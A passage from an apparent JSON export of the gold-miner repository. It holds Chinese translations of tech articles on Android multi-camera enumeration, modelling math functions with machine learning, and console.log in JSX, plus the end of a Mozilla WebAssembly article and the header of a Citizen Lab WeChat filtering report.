itself, in which case they are called self-hosted. This can make them faster because it means that you don’t have to go through C++: everything is just running in JavaScript. But some functions are just faster when they’re implemented in C++.\n\nDifferent engines have made different decisions about which built-ins should be written in self-hosted JavaScript and which should be written in C++. And engines often use a mix of both for a single built-in.\n\nIn the case where a built-in is written in JavaScript, it will benefit from all of the optimizations that we have talked about above. But when that function is written in C++, we are back to having to trampoline.\n\n[![Engine going from wasmania to trampoline to built-in](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-01-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-01.png)\n\nThese functions are called a lot, so you do want calls to them to be optimized. To make it faster, we’ve added a fast path specific to built-ins. When you pass a built-in into WebAssembly, the engine sees that what you’ve passed it is one of the built-ins, at which point it knows how to take the fast-path. This means you don’t have to go through that trampoline that you would otherwise.\n\nIt’s kind of like we built a bridge over to the built-in continent. You can use that bridge if you’re going from WebAssembly to the built-in. (_Sidenote: The JIT already did have optimizations for this case, even though it’s not shown in the drawing._)\n\n[![A bridge added between wasmania and built-in](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-02-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-02.png)\n\nWith this, calls to these built-ins are much faster than they used to be.\n\n[![Perf chart with wasm to built-in circled.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-03-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-03.png)\n\n#### Future work\n\nCurrently the only built-ins that we support this for are mostly limited to the math built-ins. That’s because WebAssembly currently only has support for integers and floats as value types.\n\nThat works well for the math functions because they work with numbers, but it doesn’t work out so well for other things like the DOM built-ins. So currently when you want to call one of those functions, you have to go through JavaScript. That’s what [wasm-bindgen](https://hacks.mozilla.org/2018/03/making-webassembly-better-for-rust-for-all-languages/#wasm-bindgen) does for you.\n\n[![Engine going from wasmania to the JS Data Marshall Islands to built-in](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-04-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/06-04.png)\n\nBut WebAssembly is getting [more flexible types very soon](https://github.com/WebAssembly/reference-types). Experimental support for the current proposal is already landed in Firefox Nightly behind the pref `javascript.options.wasm_gc`. Once these types are in place, you will be able to call these other built-ins directly from WebAssembly without having to go through JS.\n\nThe infrastructure we’ve put in place to optimize the Math built-ins can be extended to work for these other built-ins, too. This will ensure many built-ins are as fast as they can be.\n\nBut there are still a couple of built-ins where you will need to go through JavaScript. For example, if those built-ins are called as if they were using `new` or if they’re using a getter or setter. These remaining built-ins will be addressed with the [host-bindings proposal](https://github.com/WebAssembly/host-bindings).\n\n### Conclusion\n\nSo that’s how we’ve made calls between JavaScript and WebAssembly fast in Firefox, and you can expect other browsers to do the same soon.\n\n[![Performance chart showing time for 100 million calls. wasm-to-js before: about 750ms. wasm-to-js after: about 450ms. JS-to-wasm before: about 5500ms. JS-to-wasm after: about 450ms. monomorphic JS-to-wasm before: about 5250ms. monomorphic JS-to-wasm before: about 250ms. wasm-to-builtin before: about 6000ms. wasm-to-builtin before: about 650ms.](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/01-02-500x503.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/10/01-02.png)\n\n### Thank you\n\nThank you to Benjamin Bouvier, Luke Wagner, and Till Schneidereit for their input and feedback.\n\n## About [Lin Clark](http://code-cartoons.com)\n\nLin is an engineer on the Mozilla Developer Relations team. She tinkers with JavaScript, WebAssembly, Rust, and Servo, and also draws code cartoons.\n\n*   [code-cartoons.com](http://code-cartoons.com)\n*   [@linclark](http://twitter.com/linclark)\n\n[More articles by Lin Clark…](https://hacks.mozilla.org/author/lclarkmozilla-com/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/camera-enumeration-on-android.md",
    "content": "> * 原文地址：[Camera Enumeration on Android](https://medium.com/androiddevelopers/camera-enumeration-on-android-9a053b910cb5)\n> * 原文作者：[Oscar Wahltinez](https://medium.com/@owahltinez?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/camera-enumeration-on-android.md](https://github.com/xitu/gold-miner/blob/master/TODO1/camera-enumeration-on-android.md)\n> * 译者：[luoqiuyu](https://github.com/luoqiuyu)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# Android 的多摄像头支持\n\n从 Android P 开始，添加了对逻辑多摄像头和 USB 摄像头的支持。这对 Android 开发者来说意味着什么？\n\n### 多摄像头\n\n一台设备有多个摄像头没什么新鲜的，但是直到现在，Android 设备仍然最多只有前后两个摄像头。如果你想要打开第一个摄像头，需要进行以下操作：\n\n```\nval cameraDevice = Camera.open(0)\n```\n\n但是这些是比较简单的操作。如今多摄像头意味着前置或者后置有两个及两个以上的摄像头。有很多镜头可供选择！\n\n### Camera2 API\n\n由于兼容性问题，尽管旧的 Camera API 已经被废弃很长时间，上述的代码仍然有效。但是随着生态系统的发展，需要更先进的相机功能。因此，Android 5.0（Lollipop）引进了 Camera2，适用于 API 21 及以上。用 Camera2 API 来打开第一个存在的摄像头代码如下所示:\n\n```\nval cameraManager = activity.getSystemService(Context.CAMERA_SERVICE) as CameraManager\nval cameraId = cameraManager.cameraIdList[0]\ncameraManager.openCamera(cameraId, object : CameraDevice.StateCallback() {\n    override fun onOpened(device: CameraDevice) {\n        // Do something with `device`\n    }\n    override fun onDisconnected(device: CameraDevice) {\n        device.close()\n    }\n    override fun onError(device: CameraDevice, error: Int) {\n        onDisconnected(device)\n    }\n}, null)\n```\n\n### 第一个并不是最好的选择\n\n上述代码目前看起来没什么问题。如果我们所需要的只是一个能够打开第一个存在的摄像头的应用程序，那么它在大部分的 Android 手机上都有效。但是考虑到以下场景：\n\n*   如果设备没有摄像头，那么应用程序会崩溃。这看起来似乎不太可能，但是要知道 Android 运用在各种设备上，包括 Android Things、Android Wear 和 Android TV 等这些有数百万用户的设备。\n*   如果设备至少有一个后置摄像头，它将会映射到列表中的第一个摄像头。但是当应用程序运行在没有后置摄像头的设备上，比如 PixelBooks 或者其他一些 ChromeOS 的笔记本电脑，将会打开唯一一个前置摄像头。\n\n那么我们应该怎么做？检查摄像头列表和摄像头特性：\n\n```\n\nval cameraIdList = cameraManager.cameraIdList // may be empty\nval characteristics = cameraManager.getCameraCharacteristics(cameraId)\nval cameraLensFacing = characteristics.get(CameraCharacteristics.LENS_FACING)\n```\n\n变量 `cameraLensFacing` 有以下取值:\n\n*   [CameraMetadata.LENS_FACING_FRONT](https://developer.android.com/reference/android/hardware/camera2/CameraMetadata#LENS_FACING_FRONT)\n*   [CameraMetadata.LENS_FACING_BACK](https://developer.android.com/reference/android/hardware/camera2/CameraMetadata#LENS_FACING_BACK)\n*   [CameraMetadata.LENS_FACING_EXTERNAL](https://developer.android.com/reference/android/hardware/camera2/CameraMetadata#LENS_FACING_EXTERNAL)\n\n更多有关摄像头配置的信息，请查看[文档](https://developer.android.com/reference/android/hardware/camera2/CameraCharacteristics#LENS_FACING).\n\n### 合理的默认设置\n\n根据应用程序的使用情况，我们希望默认打开特定的相机镜头配置（如果可以提供这样的功能）。比如，自拍应用程序很可能想要打开前置摄像头，而一款增强现实类的应用程序应该希望打开后置摄像头。我们可以将这样的一个逻辑包装成一个函数，它可以正确地处理上面提到的情况:\n\n```\nfun getFirstCameraIdFacing(cameraManager: CameraManager,\n                           facing: Int = CameraMetadata.LENS_FACING_BACK): String? {\n    val cameraIds = cameraManager.cameraIdList\n    // Iterate over the list of cameras and return the first one matching desired\n    // lens-facing configuration\n    cameraIds.forEach {\n        val characteristics = cameraManager.getCameraCharacteristics(it)\n        if (characteristics.get(CameraCharacteristics.LENS_FACING) == facing) {\n            return it\n        }\n    }\n    // If no camera matched desired orientation, return the first one from the list\n    return cameraIds.firstOrNull()\n}\n```\n\n### 切换摄像头\n\n目前为止，我们讨论了如何基于应用程序的用途选择默认摄像头。很多相机应用程序还为用户提供切换摄像头的功能:\n\n![](https://cdn-images-1.medium.com/max/800/0*bv1q93VR4XIoazVZ)\n\nGoogle 相机应用中切换摄像头按钮\n\n要实现这个功能，尝试从[CameraManager.getCameraIdList()](https://developer.android.com/reference/android/hardware/camera2/CameraManager#getCameraIdList%28%29)提供的列表中选择下一个摄像头，但是这并不是个好的方式。因为从 Android P 开始，我们将会看到在同样的情况下更多的设备有多个摄像头，甚至有通过 USB 连接的外部摄像头。如果我们想要提供给用户切换不同摄像头的 UI，建议（[按照文档](https://developer.android.com/reference/android/hardware/camera2/CameraMetadata#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA)）是为每个可能的镜头配置选择第一个可用的摄像头。\n\n尽管没有一个通用的逻辑可以用来选择下一个摄像头，但是下述代码适用于大部分情况：\n\n```\nfun filterCameraIdsFacing(cameraIds: Array<String>, cameraManager: CameraManager,\n                          facing: Int): List<String> {\n    return cameraIds.filter {\n        val characteristics = cameraManager.getCameraCharacteristics(it)\n        characteristics.get(CameraCharacteristics.LENS_FACING) == facing\n    }\n}\n\nfun getNextCameraId(cameraManager: CameraManager, currCameraId: String? = null): String? {\n    // Get all front, back and external cameras in 3 separate lists\n    val cameraIds = cameraManager.cameraIdList\n    val backCameras = filterCameraIdsFacing(\n            cameraIds, cameraManager, CameraMetadata.LENS_FACING_BACK)\n    val frontCameras = filterCameraIdsFacing(\n            cameraIds, cameraManager, CameraMetadata.LENS_FACING_FRONT)\n    val externalCameras = filterCameraIdsFacing(\n            cameraIds, cameraManager, CameraMetadata.LENS_FACING_EXTERNAL)\n\n    // The recommended order of iteration is: all external, first back, first front\n    val allCameras = (externalCameras + listOf(\n            backCameras.firstOrNull(), frontCameras.firstOrNull())).filterNotNull()\n\n    // Get the index of the currently selected camera in the list\n    val cameraIndex = allCameras.indexOf(currCameraId)\n\n    // The selected camera may not be on the list, for example it could be an\n    // external camera that has been removed by the user\n    return if (cameraIndex == -1) {\n        // Return the first camera from the list\n        allCameras.getOrNull(0)\n    } else {\n        // Return the next camera from the list, wrap around if necessary\n        allCameras.getOrNull((cameraIndex + 1) % allCameras.size)\n    }\n}\n```\n\n这看起来可能有点复杂，但是我们需要考虑到大量的有不同配置的设备。\n\n### 兼容性行为\n\n对于那些仍然在使用已经废弃的 Camera API 的应用程序，通过 [Camera.getNumberOfCameras()](https://developer.android.com/reference/android/hardware/Camera#getNumberOfCameras%28%29) 得到的摄像头的数量取决于 OEM 的实现。文档上是这样描述的：\n\n> 如果系统中有逻辑多摄像头，为了保持应用程序的向后兼容性，这个方法仅为每个逻辑摄像头和底层的物理摄像头组公开一个摄像头。使用 camera2 API 去查看所有摄像头。\n\n请仔细阅读 [其余文档](https://developer.android.com/reference/android/hardware/Camera.CameraInfo.html#orientation) 获得更多信息。通常来说，类似的建议适用于：使用 [Camera.getCameraInfo()](https://developer.android.com/reference/android/hardware/Camera#getCameraInfo%28int,%20android.hardware.Camera.CameraInfo%29) API 查询所有的摄像头[方向](https://developer.android.com/reference/android/hardware/Camera.CameraInfo.html#orientation), 在用户切换摄像头时，仅仅只为每个可用的方向提供一个摄像头。\n\n### 最佳实践\n\nAndroid 运行在许多不同的设备上。你不应该假设你的应用程序总是在有一两个摄像头的传统的手持设备上运行,而是应该为你的应用程序选择最适合的摄像头。如果你不需要特定的摄像头，选择有所需默认配置的第一个摄像头。如果设备连接了外部摄像头，则可以合理的假设用户希望首先看到这些外部摄像头中的第一个。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/can-machine-learning-model-simple-math-functions.md",
    "content": "> * 原文地址：[Can Machine Learning model simple Math functions?](https://towardsdatascience.com/can-machine-learning-model-simple-math-functions-d336cf3e2a78)\n> * 原文作者：[Harsh Sahu](https://medium.com/@hsahu)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/can-machine-learning-model-simple-math-functions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/can-machine-learning-model-simple-math-functions.md)\n> * 译者：[Minghao23](https://github.com/Minghao23)\n> * 校对者：[lsvih](https://github.com/lsvih)，[zoomdong](https://github.com/fireairforce)\n\n# 机器学习可以建模简单的数学函数吗？\n\n> 使用机器学习建模一些基础数学函数\n\n![Photo Credits: [Unsplash](https://unsplash.com/)](https://cdn-images-1.medium.com/max/7276/1*lG0d-oazOpw92Z_GaSAzcw.jpeg)\n\n近来，在各种任务上应用机器学习已经成为了一个惯例。似乎在每一个 [Gartner's 技术循环曲线](https://en.wikipedia.org/wiki/Hype_cycle) 上的新兴技术都对机器学习有所涉及，这是一种趋势。这些算法被当做 figure-out-it-yourself 的模型：将任何类型的数据都分解为一串特征，应用一些黑盒的机器学习模型，对每个模型求解并选择结果最好的那个。\n\n但是机器学习真的能解决所有的问题吗？还是它只适用于一小部分的任务？在这篇文章中，我们试图回答一个更基本的问题，即机器学习能否推导出那些在日常生活中经常出现的数学关系。在这里，我会尝试使用一些流行的机器学习技术来拟合几个基础的函数，并观察这些算法能否识别并建模这些基础的数学关系。\n\n我们将要尝试的函数：\n\n* 线性函数\n* 指数函数\n* 对数函数\n* 幂函数\n* 模函数\n* 三角函数\n\n将会用到的机器学习算法：\n\n* XGBoost\n* 线性回归\n* 支持向量回归（SVR）\n* 决策树\n* 随机森林\n* 多层感知机（前馈神经网络）\n\n![](https://cdn-images-1.medium.com/max/2642/1*_660b9dw5ItbLqQmFEND9w.png)\n\n### 数据准备\n\n我会保持因变量（译者注：原文错误，应该为自变量）的维度为 4（选择这个特殊的数字并没有什么原因）。所以，X（自变量）和 Y（因变量）的关系为：\n\n![](https://cdn-images-1.medium.com/max/2000/1*VrJYX9Y5cHPDPAOo_kC1-g.png)\n\nf :- 我们将要拟合的函数\n\nEpsilon:- 随机噪声（使 Y 更加真实一点，因为现实生活中的数据中总是存在一些噪声）\n\n每个函数类型都会用到一系列的参数。这些参数通过生成随机数得到，方法如下：\n\n```python\nnumpy.random.normal()\nnumpy.random.randint()\n```\n\nrandint() 用于获取幂函数的参数，以免 Y 的值特别小。normal() 用于所有其他情况。\n\n生成自变量（即 X）：\n\n```python\nfunction_type = 'Linear'\n\nif function_type=='Logarithmic':\n    X_train = abs(np.random.normal(loc=5, size=(1000, 4)))\n    X_test = abs(np.random.normal(loc=5, size=(500, 4)))\nelse:\n    X_train = np.random.normal(size=(1000, 4))\n    X_test = np.random.normal(size=(500, 4))\n```\n\n对于对数函数，使用均值为 5（均值远大于方差）的正态分布来避免得到负值。\n\n获取因变量（即 Y）：\n\n```python\ndef get_Y(X, function_type, paras):\n    X1 = X[:,0]\n    X2 = X[:,1]\n    X3 = X[:,2]\n    X4 = X[:,3]\n    if function_type=='Linear':\n        [a0, a1, a2, a3, a4] = paras\n        noise = np.random.normal(scale=(a1*X1).var(), size=X.shape[0])\n        Y = a0+a1*X1+a2*X2+a3*X3+a4*X4+noise\n    elif function_type=='Exponential':\n        [a0, a1, a2, a3, a4] = paras\n        noise = np.random.normal(scale=(a1*np.exp(X1)).var(), size=X.shape[0])\n        Y = a0+a1*np.exp(X1)+a2*np.exp(X2)+a3*np.exp(X3)+a4*np.exp(X4)+noise\n    elif function_type=='Logarithmic':\n        [a0, a1, a2, a3, a4] = paras\n        noise = np.random.normal(scale=(a1*np.log(X1)).var(), size=X.shape[0])\n        Y = a0+a1*np.log(X1)+a2*np.log(X2)+a3*np.log(X3)+a4*np.log(X4)+noise\n    elif function_type=='Power':\n        [a0, a1, a2, a3, a4] = paras\n        noise = np.random.normal(scale=np.power(X1,a1).var(), size=X.shape[0])\n        Y = a0+np.power(X1,a1)+np.power(X2,a2)+np.power(X2,a2)+np.power(X3,a3)+np.power(X4,a4)+noise\n    elif function_type=='Modulus':\n        [a0, a1, a2, a3, a4] = paras\n        noise = np.random.normal(scale=(a1*np.abs(X1)).var(), size=X.shape[0])\n        Y = a0+a1*np.abs(X1)+a2*np.abs(X2)+a3*np.abs(X3)+a4*np.abs(X4)+noise\n    elif function_type=='Sine':\n        [a0, a1, b1, a2, b2, a3, b3, a4, b4] = paras\n        noise = np.random.normal(scale=(a1*np.sin(X1)).var(), size=X.shape[0])\n        Y = a0+a1*np.sin(X1)+b1*np.cos(X1)+a2*np.sin(X2)+b2*np.cos(X2)+a3*np.sin(X3)+b3*np.cos(X3)+a4*np.sin(X4)+b4*np.cos(X4)+noise\n    else:\n        print('Unknown function type')\n\n    return Y\n\n\nif function_type=='Linear':\n    paras = [0.35526578, -0.85543226, -0.67566499, -1.97178384, -1.07461643]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\nelif function_type=='Exponential':\n    paras = [ 0.15644562, -0.13978794, -1.8136447 ,  0.72604755, -0.65264939]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\nelif function_type=='Logarithmic':\n    paras = [ 0.63278503, -0.7216328 , -0.02688884,  0.63856392,  0.5494543]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\nelif function_type=='Power':\n    paras = [2, 2, 8, 9, 2]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\nelif function_type=='Modulus':\n    paras = [ 0.15829356,  1.01611121, -0.3914764 , -0.21559318, -0.39467206]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\nelif function_type=='Sine':\n    paras = [-2.44751615,  1.89845893,  1.78794848, -2.24497666, -1.34696884, 0.82485303,  0.95871345, -1.4847142 ,  0.67080158]\n    Y_train = get_Y(X_train, function_type, paras)\n    Y_test = get_Y(X_test, function_type, paras)\n```\n\n噪声是在 0 均值的正态分布中随机抽样得到的。我设置了噪声的方差等于 f(X) 的方差，借此保证我们数据中的“信号和噪声”具有可比性，且噪声不会在信号中有损失，反之亦然。\n\n### 训练\n\n注意：在任何模型中都没有做超参数的调参。\n我们的基本想法是只在这些模型对所提及的函数上的表现做一个粗略的估计，因此没有对这些模型做太多的优化。\n\n```python\nmodel_type = 'MLP'\n\nif model_type=='XGBoost':\n    model = xgb.XGBRegressor()\nelif model_type=='Linear Regression':\n    model = LinearRegression()\nelif model_type=='SVR':\n    model = SVR()\nelif model_type=='Decision Tree':\n    model = DecisionTreeRegressor()\nelif model_type=='Random Forest':\n    model = RandomForestRegressor()\nelif model_type=='MLP':\n    model = MLPRegressor(hidden_layer_sizes=(10, 10))\n\nmodel.fit(X_train, Y_train)\n```\n\n![](https://cdn-images-1.medium.com/max/2642/1*_660b9dw5ItbLqQmFEND9w.png)\n\n### 结果\n\n![Results](https://cdn-images-1.medium.com/max/2000/1*4labvDJR1p8-yOsm8PeeNw.png)\n\n大多数的表现结果比平均基线要好很多。计算出的平均R方是 **70.83%**，**我们可以说，机器学习技术对这些简单的数学函数确实可以有效地建模**。\n\n但是通过这个实验，我们不仅知道了机器学习能否建模这些函数，同时也了解了不同的机器学习技术在各种基础函数上的表现是怎样的。\n\n有些结果是令人惊讶的（至少对我来说），有些则是合理的。总之，这些结果重新认定了我们的一些先前的想法，也给出了新的想法。\n\n最后，我们可以得到下列结论：\n\n* 尽管线性回归是一个简单的模型，但是在线性相关的数据上，它的表现是优于其他模型的\n* 大多数情况下，决策树 \\< 随机森林 \\< XGBoost，这是根据实验的表现得到的（在以上 6 个结果中有 5 个是显而易见的）\n* 不像最近实践中的流行趋势那样，XGBoost（6 个结果中只有 2 个表现最好）不应该成为所有类型的列表数据的一站式解决方案，我们仍然需要对每个模型进行公平地比较。\n* 和我们的猜测相反的是，线性函数不一定是最容易预测的函数。我们在对数函数上得到了最好的聚合R方结果，达到了 92.98%\n* 各种技术在不同的基础函数上的效果（相对地）差异十分大，因此，对一个任务选择何种技术必须经过完善的思考和实验\n\n完整代码见我的 [github](https://github.com/SahuH/Model-math-functions-using-ML)。\n\n***\n\n来点赞，评论和分享吧。建设性的批评和反馈总是受欢迎的！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/can-you-console-log-in-jsx.md",
    "content": "> * 原文地址：[Can you console.log in JSX?](https://medium.com/javascript-in-plain-english/can-you-console-log-in-jsx-732f2ad46fe1)\n> * 原文作者：[Llorenç Muntaner](https://medium.com/@lmuntaner)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/can-you-console-log-in-jsx.md](https://github.com/xitu/gold-miner/blob/master/TODO1/can-you-console-log-in-jsx.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[noahziheng](https://github.com/noahziheng)，[hanxiansen](https://github.com/hanxiansen)\n\n# 在 JSX 代码中可以加入 console.log 吗？\n\n## 结论：不行！\n\n![](https://cdn-images-1.medium.com/max/2000/1*OIfGKWZBZRsvKQZxQtr3Yw.jpeg)\n\n作为一名编程老师，我曾看到过我的学生写出了这样的代码：\n\n```jsx\nrender() {\n  return (\n    <div>\n      <h1>List of todos</h1>\n      console.log(this.props.todos)\n    </div>\n  );\n}\n```\n\n这样写不会在控制台打印出期望的内容。而是在浏览器上渲染出 **console.log(this.props.todos)** 这个字符串。\n\n我们先来看一些很直接的解决方案，然后我们将会解释原理。\n\n## 最常用的解决方式：\n\n在 JSX 中嵌入表达式：\n\n```jsx\nrender() {\n  return (\n    <div>\n      <h1>List of todos</h1>\n      { console.log(this.props.todos) }\n    </div>\n  );\n}\n```\n\n## 另一个很受欢迎的方式：\n\n在 `return()` 语句之前加 `console.log`：\n\n```jsx\nrender() {\n  console.log(this.props.todos);\n  return (\n    <div>\n      <h1>List of todos</h1>\n    </div>\n  );\n}\n```\n\n## 一种更高级的方式：\n\n使用自定义的 `<ConsoleLog>` 组件是更高级的方法：\n\n```jsx\nconst ConsoleLog = ({ children }) => {\n  console.log(children);\n  return false;\n};\n```\n\n然后使用它：\n\n```jsx\nrender() {\n  return (\n    <div>\n      <h1>List of todos</h1>\n      <ConsoleLog>{ this.props.todos }</ConsoleLog>\n    </div>\n  );\n}\n```\n\n## 为什么是这样？\n\n我们必须记住：JSX 不是原生的 JavaScript，也不是 HTML。它是一种语法扩展。\n\n最终，JSX 会被编译成原生 JavaScript。\n\n例如，如果我们写了如下的 JSX：\n\n```jsx\nconst element = (\n  <h1 className=\"greeting\">\n    Hello, world!\n  </h1>\n);\n```\n\n它将会被编译成：\n\n```jsx\nconst element = React.createElement(\n  'h1',\n  {className: 'greeting'},\n  'Hello, world!'\n);\n```\n\n我们来回顾一下方法 `React.createElement` 的参数：\n\n* `'h1'`：标签名，是一个字符串类型\n\n* `{ className: 'greeting' }`：`<h1>` 的属性。它会被转换成一个对象。对象的键就是属性名，对象的键值就是属性的值。\n\n* `'Hello, world!'`：它被称为 `children`。位于起始符标签 `<h1>` 和结束符 `</h1>` 之间的内容都会被传递进去。\n\n我们现在来回顾一下文章开始的时候写的失败的 console.log：\n\n```jsx\n<div>\n  <h1>List of todos</h1>\n  console.log(this.props.todos)\n</div>\n```\n\n这段代码将会被编译为：\n\n```jsx\n// 当一个以上的元素被传递进去，第三个参数将会变成一个数组\n\nReact.createElement(\n  'div',\n  {}, // 没有属性\n  [ \n    React.createElement(\n      'h1',\n      {}, // 也没有属性\n      'List of todos',\n    ),\n    'console.log(this.props.todos)'\n  ]\n);\n```\n\n`console.log` 被当成一个字符串传递到了方法 `createElement`。它并没有被执行。\n\n这说得通，上面我们也看到了标题 `List of todos`。计算机如何能知道，哪段代码是需要被执行的，哪段是你希望渲染的呢？\n\n**答案**：计算机认为两者都是字符串。计算机一定会将文字作为字符串处理。\n\n所以，如果你希望这段代码被执行，你需要 JSX 中表明，好让它知道如何处理。你可以将代码作为表达式放在 `{}` 中。\n\n这样就好了！现在你已经知道了在哪里，在何时，如何将 `console.log` 用于 JSX 代码中了！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md",
    "content": "> * 原文地址：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://citizenlab.ca/2018/08/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments/)\n> * 原文作者：[Jeffrey Knockel](https://citizenlab.ca/author/jknockel/), [Lotus Ruan](https://citizenlab.ca/author/lotus/), [Masashi Crete-Nishihata](https://citizenlab.ca/author/masashi/), and [Ron Deibert](https://citizenlab.ca/author/profd/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n> * 译者：\n> * 校对者：\n\n# (CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1\n\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 